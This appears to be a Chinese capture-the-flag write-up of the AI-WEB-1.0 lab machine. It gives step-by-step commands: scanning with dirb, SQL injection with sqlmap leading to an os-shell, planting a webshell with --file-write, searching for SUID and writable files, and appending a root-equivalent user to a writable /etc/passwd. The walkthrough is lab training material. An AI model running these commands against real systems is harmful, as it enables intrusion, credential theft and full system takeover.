Al-WEB-1.0靶机
主机发现,端口扫描
这里发现只有一个80端口而且有一些文件
有一个robots.txt,我们去访问
这里有2个不允许爬虫爬的文件,我们可以去访问一下
但是这都是403
这个目录这里存在一个输入框
我们可以对这3个目录进行目录探测
dirb http://192.168.12.106/m3diNf0/
dirb http://192.168.12.106/se3reTdir777/uploads/
dirb http://192.168.12.106/se3reTdir777/
这里我们发现了一个info.php的文件,我们可以去访问一下。
这里有一个phpinfo的文件,我们可以找到php的一些详细信息
这里我们发现了网站的根目录/home/www/html/web1x443290o2sdf92213,我们可以先留着
我们想到呢个输入框,我们可以去测试一下有没有sql注入
这里很明显存在sql注入
成功的找到注入点,以及闭合点
我们可以使用手工注入,获取数据库的一些用户名密码,也可以使用sqlmap,这里我们使用sqlmap,这里是post注入,我们需要抓取payload。
uid=User+ID&Operation=Submit
我们来使用sqlmap,构造sqlmap语句
sqlmap -u "http://192.168.12.106/se3reTdir777/" --data "uid=User+ID&Operation=Submit" --current-db --batch
sqlmap -u "http://192.168.12.106/se3reTdir777/" --data "uid=User+ID&Operation=Submit" -D aiweb1 --tables --batch
sqlmap -u "http://192.168.12.106/se3reTdir777/" --data "uid=User+ID&Operation=Submit" -D aiweb1 --dump --batch 这个可以直接爆破处所有的表中所有字段
user表中的3个字段
systemuser表中的3个字段
这里是3个用户名和密码,密码可以使用base64解码,但是这里没有登陆后台,也并没有开放ssh服务,所以这里得到用户没什么用,我们需要换一种思路。
我们想到了刚才我们找到了网站的根目录的绝对路径,所以我们可以使用sqlmap去getshell,得到一个os-shell的终端。
sqlmap -u "http://192.168.12.106/se3reTdir777/" --data "uid=User+ID&Operation=Submit" --os-shell
因为是phpinfo的界面,所以选择php
这里选择2,我们自定义去选择它的路径。
/home/www/html/web1x443290o2sdf92213我们将这个路径写入
但是这里并没有成功,想到应该是没有写入的权限,得不到shell
我们这里就想到了刚才呢个目录se3reTdir777/uploads 这里有一个uploads的目录,是一个上传的目录,我们却访问不到,但是也许有上传的权限,我们可以使用这个目录试一下,所以我们需要拼接一个绝对路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads 我们使用这个路径试一下
成功得到shell
但是这里却不是root权限,所以我们需要提权
但是这里我们只能在这个目录,而不能切换到别的目录,所以这里我们需要反弹shell或者换别的终端来连接它
那这里我们使用os-shell 写入一个一句话,使用蚁剑连接
sqlmap -u "http://192.168.12.106/se3reTdir777/" --data "uid=User+ID&Operation=Submit" --file-write /root/webshell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/webshell.php
--file-write 写入的文件是websehll.php --file-dest 写入文件的路径,这里写绝对路径,因为刚才我们得到的os-shell的路径是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads,所以这里将他写入到这个后面
我们去访问
成功写入,我们使用蚁剑连接!
蚁剑连接成功
这里我们就可以使用蚁剑 提权
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null 查看是否可以使用suid提权
这里有一个sudo可以使用,但是我们不知道这个账户的密码,所以我们需要换思路了
这里有他的内核版本号,我们使用漏洞库找一下
但是这里并没有可以利用的
我们找找有写入权限的文件以及文件夹看看
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件
文件夹
文件
在这里我们发现/etc/passwd有可以写入的权限,我们只需要看看这个文件的属主是否是这个用户即可
我们
发现这个文件属主是当前用户,那我们就有思路,我们可以写入一个跟root一样的用户,直接登陆这个用户即可!
root:x:0:0:root:/root:/bin/bash 这里x是密码,但是我们创建的密码需要加密,所以我们使用openssl加密
openssl passwd -1 -salt aaa password 我们使用openssl创建一个aaa用户 密码是password
1 1 1aaa$sZbbxWYvlgYNZhB78yYjM0这个我们得到的,我们使用这个来构造
aaa:$1$aaa$sZbbxWYvlgYNZhB78yYjM0:0:0:root:/root:/bin/bash 这样就好了,我们将其写入到etc/passwd下面就可以了
echo 'aaa:$1$aaa$sZbbxWYvlgYNZhB78yYjM0:0:0:root:/root:/bin/bash' >> /etc/passwd
成功写入,我们直接登陆
但是不能su 我们还需要反弹一个shell到我们的攻击机上面
但是这里没有-e这个选项,我们可以使用别的反弹shell,我们使用php的
我们将其传入
我们去访问
成功反弹
这个时候我们可以切换了
成功
拿下!